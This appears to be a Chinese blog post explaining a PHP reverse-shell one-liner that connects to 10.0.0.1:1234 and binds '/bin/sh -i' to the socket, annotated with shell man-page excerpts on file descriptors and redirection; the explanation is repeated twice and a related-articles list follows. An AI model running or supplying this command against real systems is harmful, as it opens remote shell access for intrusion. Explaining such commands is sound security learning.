一条命令引发的思考
2015-02-10 22:14
344 查看
这条命令是
作用是反弹一个交互式的shell
代码看得不太懂,所以很有必要了解一下。
-i interactive Force the shell to behave interactively.
文件描述符,内核(kernel)利用文件描述符(file descriptor)来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。
0 stdin
1 stdout
2 stderr
Control operators:
& && ( ) ; ;; | || <newline>
Redirection operators:
< > >| << >> <& >& <<- <>
> file Redirect standard output (or n) to file.
>| file Same, but override the -C option.
>> file Append standard output (or n) to file.
< file Redirect standard input (or n) from file.
[n1]<&n2 Duplicate standard input (or n1) from file descriptor
n2.
<&- Close standard input (or n).
[n1]>&n2 Duplicate standard output (or n1) to n2.
>&- Close standard output (or n).
<> file Open file for reading and writing on standard input (or
n).
Background Commands -- &
If a command is terminated by the control operator ampersand (&), the
shell executes the command asynchronously -- that is, the shell does not
wait for the command to finish before executing the next command.
“&&” and “||” are AND-OR list operators.
算是看明白了
创建一个连接到 10.0.0.1:1234 的socket ,得其文件描述符 3。
执行 /bin/sh -i 得到一个交互式的shell
<&3 重定向用户输入的命令到shell
>&3 2>&3 将stdin 和 stderr 重定向到socket
known it then hack it.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
作用是反弹一个交互式的shell
代码看得不太懂,所以很有必要了解一下。
-i interactive Force the shell to behave interactively.
文件描述符,内核(kernel)利用文件描述符(file descriptor)来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。
0 stdin
1 stdout
2 stderr
Control operators:
& && ( ) ; ;; | || <newline>
Redirection operators:
< > >| << >> <& >& <<- <>
> file Redirect standard output (or n) to file.
>| file Same, but override the -C option.
>> file Append standard output (or n) to file.
< file Redirect standard input (or n) from file.
[n1]<&n2 Duplicate standard input (or n1) from file descriptor
n2.
<&- Close standard input (or n).
[n1]>&n2 Duplicate standard output (or n1) to n2.
>&- Close standard output (or n).
<> file Open file for reading and writing on standard input (or
n).
Background Commands -- &
If a command is terminated by the control operator ampersand (&), the
shell executes the command asynchronously -- that is, the shell does not
wait for the command to finish before executing the next command.
“&&” and “||” are AND-OR list operators.
算是看明白了
创建一个连接到 10.0.0.1:1234 的socket ,得其文件描述符 3。
执行 /bin/sh -i 得到一个交互式的shell
<&3 重定向用户输入的命令到shell
>&3 2>&3 将stdin 和 stderr 重定向到socket
known it then hack it.
相关文章推荐
- 一条命令引发的思考
- 曲演杂坛--一条DELETE引发的思考
- 禁止JVM执行外部命令Runtime.exec -- 由Apache Commons Collections漏洞引发的思考
- Linux 分割命令引发的思考 - 20160630 - 昨天傻逼事件引发的思考。
- 一条拼了40min的hql引发的思考
- 曲演杂坛--一条DELETE引发的思考
- maven命令-P 参数引发的思考
- Beego框架的一条神秘日志引发的思考
- 一条c语言语句引发的思考之时序点(sequence points)
- 关于DML命令与DDL命令引发的对事物特性的思考
- 一条语句引发的思考:装箱和拆箱,空指针的类型转换
- 【转】maven命令-P 参数引发的思考
- 一个游戏引发的思考(概率问题)
- 一个“笑话”引发的思考
- 由。NET分层架构所引发的思考(一)
- 一句T-SQL语句引发的思考
- 由系分考试引发的思考
- 关于馒头血案引发的法律相关的思考
- 如何记录下其他人telnet到Cisco设备后输入的每一条命令的方法(转)